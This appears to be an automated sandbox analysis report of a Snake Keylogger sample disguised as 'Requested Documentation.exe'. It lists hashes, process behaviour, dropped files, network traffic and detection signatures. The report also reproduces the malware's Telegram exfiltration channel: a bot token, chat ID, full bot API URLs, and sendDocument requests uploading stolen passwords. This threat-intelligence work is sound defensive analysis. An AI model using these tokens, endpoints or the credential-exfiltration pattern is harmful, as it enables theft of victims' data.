File name:

Requested Documentation.exe

Full analysis: https://app.any.run/tasks/434fb541-c219-49ab-a2a1-f19acaf18f95
Verdict: Malicious activity
Threats:

A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools.

Analysis date: December 20, 2024, 09:07:42
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
evasion
snake
keylogger
stealer
telegram
ims-api
generic
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections
MD5:

DC6558B7B16A9D2DB51D2F6B16396321

SHA1:

0DC5D607E934B68D8CF54E60E9BAA942E289CF47

SHA256:

06CFEB5B6CEE2D5348824125C7FD33DD0E1A9F08561115BDD8C9E260BDD37E93

SSDEEP:

49152:WHlGAXWQkC2R/QORBt7QjFtmcaTH/vU4do9Pcjq1GvXB1sgPR8N32+Rr181vWDZy:XAGQX21RBt7QjTmcaTH/vU4do9Pcjq1Y

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Steals credentials from Web Browsers

      • RegSvcs.exe (PID: 6316)
    • SNAKEKEYLOGGER has been detected (SURICATA)

      • RegSvcs.exe (PID: 6316)
    • Actions looks like stealing of personal data

      • RegSvcs.exe (PID: 6316)
  • SUSPICIOUS

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • RegSvcs.exe (PID: 6316)
    • Possible usage of Discord/Telegram API has been detected (YARA)

      • RegSvcs.exe (PID: 6316)
    • Checks for external IP

      • svchost.exe (PID: 2192)
      • RegSvcs.exe (PID: 6316)
    • The process verifies whether the antivirus software is installed

      • RegSvcs.exe (PID: 6316)
  • INFO

    • The sample compiled with english language support

      • svchost.exe (PID: 644)
    • Create files in a temporary directory

      • Requested Documentation.exe (PID: 644)
    • Checks supported languages

      • Requested Documentation.exe (PID: 644)
      • RegSvcs.exe (PID: 6316)
    • Reads mouse settings

      • Requested Documentation.exe (PID: 644)
    • Reads the computer name

      • RegSvcs.exe (PID: 6316)
    • Reads the machine GUID from the registry

      • RegSvcs.exe (PID: 6316)
    • Reads the software policy settings

      • RegSvcs.exe (PID: 6316)
    • Checks proxy server information

      • RegSvcs.exe (PID: 6316)
    • Disables trace logs

      • RegSvcs.exe (PID: 6316)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

ims-api

(PID) Process(6316) RegSvcs.exe
Telegram-Tokens (1)7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg
Telegram-Info-Links
7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg
Get info about bothttps://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/getMe
Get incoming updateshttps://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/getUpdates
Get webhookhttps://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg
End-PointsendDocument
Args
chat_id (1)5839829477
caption (1)admin / Passwords / 181.214.173.139
Token7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg
End-PointsendDocument
Args
chat_id (1)5839829477
caption (1)admin / Passwords / 181.214.173.139
Token7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg
End-PointsendDocument
Args
chat_id (1)5839829477
caption (1)admin / Passwords / 181.214.173.139 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd20d5cbc76383 Host: api.telegram.org Content-Length: 1098 Connection: Keep-Alive
Telegram-Responses
oktrue
result
message_id21763
from
id7708662779
is_bottrue
first_nameNOVA
usernameSkullsnovabot
chat
id5839829477
first_nameMakwanda
last_nameSkulls
usernameBig4m
typeprivate
date1734685678
document
file_nameUserdata.txt
mime_typetext/plain
file_idBQACAgQAAxkDAAJVA2dlM-69DALMEU8CHIDutsnvFS3PAAJPFwACONMpUyYaiIeCWAcaNgQ
file_unique_idAgADTxcAAjjTKVM
file_size903
captionadmin / Passwords / 181.214.173.139
caption_entities
offset20
length15
typeurl
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2024:12:19 23:28:08+00:00
ImageFileCharacteristics: Executable, Large address aware, 32-bit
PEType: PE32
LinkerVersion: 12
CodeSize: 581120
InitializedDataSize: 362496
UninitializedDataSize: -
EntryPoint: 0x27dcd
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
FileVersionNumber: 0.0.0.0
ProductVersionNumber: 0.0.0.0
FileFlagsMask: 0x0000
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (British)
CharacterSet: Unicode
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
128
Monitored processes
4
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start start svchost.exe no specs requested documentation.exe no specs #SNAKEKEYLOGGER regsvcs.exe svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
644C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s wuauservC:\Windows\System32\svchost.exeservices.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
644"C:\Users\admin\AppData\Local\Temp\Requested Documentation.exe" C:\Users\admin\AppData\Local\Temp\Requested Documentation.exeexplorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\requested documentation.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\psapi.dll
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
6316"C:\Users\admin\AppData\Local\Temp\Requested Documentation.exe" C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Requested Documentation.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
ims-api
(PID) Process(6316) RegSvcs.exe
Telegram-Tokens (1)7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg
Telegram-Info-Links
7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg
Get info about bothttps://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/getMe
Get incoming updateshttps://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/getUpdates
Get webhookhttps://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg
End-PointsendDocument
Args
chat_id (1)5839829477
caption (1)admin / Passwords / 181.214.173.139
Token7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg
End-PointsendDocument
Args
chat_id (1)5839829477
caption (1)admin / Passwords / 181.214.173.139
Token7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg
End-PointsendDocument
Args
chat_id (1)5839829477
caption (1)admin / Passwords / 181.214.173.139 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd20d5cbc76383 Host: api.telegram.org Content-Length: 1098 Connection: Keep-Alive
Telegram-Responses
oktrue
result
message_id21763
from
id7708662779
is_bottrue
first_nameNOVA
usernameSkullsnovabot
chat
id5839829477
first_nameMakwanda
last_nameSkulls
usernameBig4m
typeprivate
date1734685678
document
file_nameUserdata.txt
mime_typetext/plain
file_idBQACAgQAAxkDAAJVA2dlM-69DALMEU8CHIDutsnvFS3PAAJPFwACONMpUyYaiIeCWAcaNgQ
file_unique_idAgADTxcAAjjTKVM
file_size903
captionadmin / Passwords / 181.214.173.139
caption_entities
offset20
length15
typeurl
Total events
1 060
Read events
1 046
Write events
14
Delete events
0

Modification events

(PID) Process:(6316) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6316) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6316) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(6316) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(6316) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(6316) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(6316) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(6316) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6316) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6316) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
0
Suspicious files
3
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
644Requested Documentation.exeC:\Users\admin\AppData\Local\Temp\preconformtext
MD5:C6CB449B56572A5E8C469FD1A542559B
SHA256:C43A565DC565DC12C2AC301769551D50AB9C1C110CA3A1D81E7ABC8D470D20D7
644Requested Documentation.exeC:\Users\admin\AppData\Local\Temp\camellinbinary
MD5:2BC5C3CA319C5D0BDD91591419BC5ECF
SHA256:4FD26B8925ACA3BC742A2A20C47E0B0652F439F960CB7855B721720145A8A2C2
644Requested Documentation.exeC:\Users\admin\AppData\Local\Temp\aut5661.tmpbinary
MD5:C4012587BDEB036DAD242A8916F7DFA6
SHA256:6542BD9BDEFF51D39BC0486DB1E3BF23DD078F83F6F3FE49B9262B4FA0F8E2C9
644Requested Documentation.exeC:\Users\admin\AppData\Local\Temp\aut5603.tmpbinary
MD5:666517176B0250ED8328E2C43AA179EB
SHA256:A3399E71F2F9241C69EA3CC97449F5D224FE2B2C5CD5C32C472BA9DD498627A4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
13
TCP/UDP connections
36
DNS requests
20
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
6060
svchost.exe
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
6060
svchost.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
6316
RegSvcs.exe
GET
200
132.226.247.73:80
http://checkip.dyndns.org/
unknown
malicious
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
6316
RegSvcs.exe
GET
200
132.226.247.73:80
http://checkip.dyndns.org/
unknown
malicious
6316
RegSvcs.exe
GET
200
132.226.247.73:80
http://checkip.dyndns.org/
unknown
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
192.168.100.255:137
whitelisted
4712
MoUsoCoreWorker.exe
2.16.164.49:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
6060
svchost.exe
2.16.164.49:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
4712
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
6060
svchost.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
5064
SearchApp.exe
2.23.209.182:443
www.bing.com
Akamai International B.V.
GB
whitelisted
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4
System
192.168.100.255:138
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
crl.microsoft.com
  • 2.16.164.49
  • 2.16.164.106
whitelisted
google.com
  • 142.250.185.142
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
www.bing.com
  • 2.23.209.182
  • 2.23.209.131
  • 2.23.209.187
  • 2.23.209.130
  • 2.23.209.189
  • 2.23.209.183
  • 2.23.209.185
  • 2.23.209.181
  • 2.23.209.186
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
checkip.dyndns.org
  • 132.226.247.73
  • 193.122.6.168
  • 132.226.8.169
  • 158.101.44.242
  • 193.122.130.0
shared
login.live.com
  • 40.126.32.134
  • 40.126.32.136
  • 20.190.160.17
  • 40.126.32.140
  • 20.190.160.22
  • 40.126.32.68
  • 40.126.32.133
  • 20.190.160.20
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
reallyfreegeoip.org
  • 188.114.96.3
  • 188.114.97.3
malicious

Threats

PID
Process
Class
Message
2192
svchost.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup Domain in DNS Query (checkip .dyndns .org)
6316
RegSvcs.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup - checkip.dyndns.org
6316
RegSvcs.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup - checkip.dyndns.org
6316
RegSvcs.exe
Device Retrieving External IP Address Detected
ET INFO 404/Snake/Matiex Keylogger Style External IP Check
2192
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Address Lookup Domain (reallyfreegeoip .org)
6316
RegSvcs.exe
Misc activity
ET INFO External IP Lookup Service Domain (reallyfreegeoip .org) in TLS SNI
2192
svchost.exe
Misc activity
ET INFO External IP Address Lookup Domain in DNS Lookup (reallyfreegeoip .org)
2192
svchost.exe
Misc activity
SUSPICIOUS [ANY.RUN] Possible sending an external IP address to Telegram
6316
RegSvcs.exe
Misc activity
ET HUNTING Telegram API Certificate Observed
6316
RegSvcs.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup - checkip.dyndns.org
No debug info